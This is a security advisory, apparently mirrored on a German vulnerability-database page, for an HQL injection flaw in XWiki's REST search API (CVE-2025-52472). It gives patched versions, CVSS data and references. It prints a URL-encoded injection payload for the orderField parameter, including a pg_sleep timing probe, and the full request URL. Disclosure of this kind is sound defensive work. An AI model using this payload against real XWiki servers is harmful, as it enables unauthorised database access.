XWiki Platform is vulnerable to HQL injection via wiki and space search REST API
Impact
The REST search URL is vulnerable to HQL injection via the orderField parameter. The specified value is added twice in the query, though, once in the field list for the select and once in the order clause, so it's not that easy to exploit. The part of the query between the two fields can be enclosed in single quotes to effectively remove them, but the query still needs to remain valid with the query two times in it.
For example, with the following orderField parameter:
doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D'%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment'%20or%20a%3D'%20order%20by%20doc.fullNameSee the following error:
QuerySyntaxException: unexpected token: $$ near line 1, column 518 [select distinct doc.fullName, doc.space, doc.name, doc.language, doc.doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where (doc.hidden <> true or doc.hidden is null) and ($$='$$=concat(chr(61),chr(39)) and version()||pg_sleep(1)=version()||pg_sleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=') order by doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where ( (upper(doc.title) like :keywords) ) order by doc.doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where $$='$$=concat(chr(61),chr(39)) and version()||pg_sleep(1)=version()||pg_sleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=' order by doc.fullName asc]For reference, the full URL for the above error is:
http://localhost:8080/xwiki/rest/wikis/xwiki/search?q=test&scope=title&orderField=doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D%27%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment%27%20or%20a%3D%27%20order%20by%20doc.fullNamePatches
This has been patched in 17.5.0, 17.4.2, 16.10.9.
Workarounds
There is no known workaround, other than upgrading XWiki.
Resources
- https://jira.xwiki.org/browse/XWIKI-23247
- https://github.com/xwiki/xwiki-platform/commit/743ebf8696ffa55161ed2c5ecf26b09f69e6bcf1
- https://github.com/xwiki/xwiki-platform/commit/a45eca2af772abb7324e56d7fd2df1ac937bc445
For more information
If you have any questions or comments about this advisory:
- Open an issue in Jira XWiki.org
- Email us at Security Mailing List
Betroffene Software
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| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Java / Kotlin (Maven) | org.xwiki.platform:xwiki-platform-rest-server | >= 17.0.0-rc-1, < 17.4.2, >= 4.3-milestone-1, < 16.10.9 | 17.4.2, 16.10.9 |
Verweise
- https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-gprp-h92g-gc2h
- https://nvd.nist.gov/vuln/detail/CVE-2025-52472
- https://github.com/xwiki/xwiki-platform/commit/743ebf8696ffa55161ed2c5ecf26b09f69e6bcf1
- https://github.com/xwiki/xwiki-platform/commit/a45eca2af772abb7324e56d7fd2df1ac937bc445
- https://github.com/xwiki/xwiki-platform
- https://jira.xwiki.org/browse/XWIKI-23247
- CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N- Schwäche (CWE)
CWE-89- Plattform
- Java / Kotlin (Maven)
- Paket
org.xwiki.platform:xwiki-platform-rest-server- Veröffentlicht
- 06.10.2025
- Aktualisiert
- 11.10.2026 12:22
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-gprp-h92g-gc2h - CC BY 4.0
Schwachstellenhistorie: org.xwiki.platform:xwiki-platform-rest-server
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- Einträge insgesamt
- 11
- Erste → letzte
- 11.2022 05.2026
- Ohne Fix
- 0
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- 0
Verteilung nach Schweregrad
- Kritisch 4
- Hoch 4
- Mittel 3
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